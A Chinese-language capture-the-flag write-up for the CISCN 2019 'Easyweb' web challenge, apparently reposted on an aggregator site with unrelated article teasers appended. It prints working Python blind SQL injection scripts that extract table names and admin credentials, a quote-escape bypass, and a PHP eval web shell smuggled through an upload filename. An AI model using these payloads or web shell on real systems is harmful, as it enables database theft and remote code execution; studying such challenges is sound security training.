[CISCN2019 总决赛 Day2 Web1]Easyweb 盲注 \\0绕过 文件上传文件名木马

首先开局登入

我们开始目录扫描

扫除 robots.txt

现在只有三个文件

最后发现 只有 image.php.bak存在

这里主要的地方是 \\0

因为第一个\会被转义

这里就会变为 \0

表示空白

那我们sql语句就会变为了

select * from images where id='\0'

 但是这里我们不可以使用 \\

因为输入\\

会变为 \

我们是需要空字符

所以我们需要 \\0

绕过

所以最后我们 然后 后面的path 就变为了可控了

path=' or 1=1-- +path=' or 1=2-- +

这里显然是盲注了

写个脚本

import timeimport requestsbaseurl = r"""http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="""
flag=''for i in range(1000):for j in range(127):payload = "or 1 = if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),{},1))={},1,-1)-- +".format(i,j)req=requests.get(url=baseurl+payload)if req.status_code == 429:time.sleep(0.5)if "JFIF" in req.text:flag += chr(j)print(flag)

可以爆出为

images,users

但是这里注意

爆列名的时候 因为 'users' 会给过滤 所以我们要通过16进制来实现

users-->0x7573657273
import timeimport requests
base_url=r"http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="
data=''
#下面的payload需要使用 > 号 而不是 =
payload="or 1 = if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name=0x7573657273),{},1))>{},1,-1)-- +"
for i in range(1,10000):low = 32high = 128mid =(low + high) // 2while(low < high):payload1=payload.format(i,mid)r = requests.get(url=base_url+payload1)if "JFIF" in r.text:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 132):breakdata+=chr(mid)print(data)

上面是二分法 快点

username,password

继续爆数据

import timeimport requests
base_url=r"http://3b01fafd-601d-4401-ab14-0a966f1c0151.node4.buuoj.cn:81/image.php?id=\\0&path="
data=''
#下面的payload需要使用 > 号 而不是 =
payload="or 1 = if(ascii(substr((select group_concat(username,password)from users),{},1))>{},1,-1)-- +"
for i in range(1,10000):low = 32high = 128mid =(low + high) // 2while(low < high):payload1=payload.format(i,mid)r = requests.get(url=base_url+payload1)if "JFIF" in r.text:low = mid + 1else:high = midmid = (low + high) // 2if (mid == 32 or mid == 132):breakdata+=chr(mid)print(data)
admin4548f7af4fe91b7ff349

然后我们登录

随便传递一个

成功了 我们直接上传木马吧

成功了

但是去访问发现不是

 这里是文件名 那我们从文件名注入吧

Content-Disposition: form-data; name="file"; filename="1.jpg"修改 filename为木马Content-Disposition: form-data; name="file"; filename="<?php @eval($_POST['hack']); ?>"

 过滤了 换短标签看看

Content-Disposition: form-data; name="file"; filename="<?= @eval($_POST['hack']); ?>"

访问一下

 成功了 链接一下

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/129955.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

模拟pdf运行js脚本触发xss攻击及防攻击

一、引入pdfbox依赖 <dependency><groupId>org.apache.pdfbox</groupId><artifactId>pdfbox</artifactId><version>3.0.0</version> </dependency> 二、生成一个带js脚本的pdf文件 //Creating PDF document object PDDocum…

[NewStarCTF 2023 公开赛道] week1 Crypto

brainfuck 题目描述&#xff1a; [>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<-]>>>>>>>.>----.<-----.>-----.>-----.<<<-.>>..…

【Oracle】Oracle系列十九--Oracle的体系结构

文章目录 往期回顾前言1. 物理结构2. 内存结构2.1 SGA2.2 后台进程 3. 逻辑结构 往期回顾 【Oracle】Oracle系列之一–Oracle数据类型 【Oracle】Oracle系列之二–Oracle数据字典 【Oracle】Oracle系列之三–Oracle字符集 【Oracle】Oracle系列之四–用户管理 【Oracle】Or…

centos7 配置coreboot编译环境 以及编译问题解决

需要的配置 (有的资源在国外可能需要翻墙) 操作系统: centos7.9 参考文章 coreboot源码分析之编译和运行coreboot - 知乎 //coreboot编译总说明 https://www.coreboot.org/Build_HOWTO#Requirements https://poe.com/ChatGPT 注意: 因为github不稳定 所以gitee为主 1. 下载…

Transformer预测 | Python实现基于Transformer的股票价格预测(tensorflow)

文章目录 效果一览文章概述程序设计参考资料效果一览 文章概述 Transformer预测 | Python实现基于Transformer的股票价格预测(tensorflow) 程序设计 import numpy as np import matplotlib.pyplot

SpringBoot 实现EMQ设备的上下线告警

前言 上下线通知 我遇到了一个难题&#xff0c;即在使用EMQ X 4.4.10的开源版本时&#xff0c;我需要实现设备的上下线状态监控&#xff0c;但该4.4.10开源版本并未内置设备上下线提醒模块&#xff0c;只有企业版才内置了该模块。这为我带来了一些技术上的难题&#xff0c;迫…

记录宝塔面板申请ssl证书报错 Invalid version. The only valid version for X509Req is 0

问题 宝塔面板申请ssl证书报错 Invalid version. The only valid version for X509Req is 0。 原因是由于服务器端使用了不兼容的 OpenSSL 版本导致的&#xff0c;服务器端的X509Req 版本只支持 0&#xff0c;而宝塔这边默认的版本为2。 我的是之前可以申请ssl&#xff0c;过…

玄子Share- IDEA 2023 SpringBoot 热部署

玄子Share- IDEA 2023 SpringBoot 热部署 修改 IDEA 部署设置 IDEA 勾选如下选项 新建 SpringBoot 项目 项目构建慢的将 Spring Initializr 服务器 URL 改为阿里云&#xff1a;https://start.aliyun.com/ 在这里直接勾选Spring Boot Devtools插件即可 测试 切出 IDEA 项目文…

HTML5+CSSday4综合案例二——banner效果

bannerCSS展示图&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"wi…

【C++】List -- 详解

一、list的介绍及使用 https://cplusplus.com/reference/list/list/?kwlist list 是可以在常数范围内在任意位置进行插入和删除的序列式容器&#xff0c;并且该容器可以前后双向迭代。 list 的底层是双向链表结构&#xff0c;双向链表中每个元素存储在互不相关的独立节点中&…

Redis AOF重写原原理

重写aof之前 appendonly.aof.1.base.aof appendonly.aof.1.incr.aof appendonly.aof.manifest 重写aof 一次 appendonly.aof.2.base.aof 大小变化 appendonly.aof.2.incr.aof 大小o appendonly.aof.manifest 大小不变 AOF文件重写并不是对原文件进行重新整理&#xff0c;而是直…

Elasticsearch:什么是检索增强生成 - RAG?

在人工智能的动态格局中&#xff0c;检索增强生成&#xff08;Retrieval Augmented Generation - RAG&#xff09;已经成为游戏规则的改变者&#xff0c;彻底改变了我们生成文本和与文本交互的方式。 RAG 使用大型语言模型 (LLMs) 等工具将信息检索的能力与自然语言生成无缝结合…